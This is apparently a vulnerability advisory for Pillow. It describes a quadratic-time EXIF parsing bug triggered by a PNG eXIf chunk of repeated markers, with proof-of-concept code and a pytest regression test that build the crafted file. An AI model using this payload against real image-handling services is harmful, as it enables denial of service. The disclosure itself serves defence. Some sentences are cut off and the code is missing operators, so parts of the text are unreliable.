CVE-2026-96643: Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

Summary A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

### Details Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

python while data and data.startswith(b"Exif\x00\x00"): data = data[6:]

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

chunkeXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAXTEXTCHUNK and MAXTEXTMEMORY. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

### Steps to reproduce This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

python import time from io import BytesIO from PIL import Image, PngImagePlugin

def chunk(cid, data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, data) return fp.getvalue()

MAGIC = PngImagePlugin.MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

marker = b"Exif\x00\x00" exifchunk = chunk(b"eXIf", marker 300000) # 1.8MB, all markers data = MAGIC + IHDR + exifchunk + IDAT + IEND

start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds")

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.

python import pytest from io import BytesIO from PIL import Image, PngImagePlugin

def chunk(cid, data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, data) return fp.getvalue()

MAGIC = PngImagePlugin.MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

@pytest.mark.timeout(2) def testexifloadisnotquadratic(): marker = b"Exif\x00\x00" exifchunk = chunk(b"eXIf", marker 300000) data = MAGIC + IHDR + exifchunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif()

### Impact - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear. - Confidentiality: none. - Integrity: none. - This fires through Image.getexif(), Image.getexif(), and ImageOps.exiftranspose(). exiftranspose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.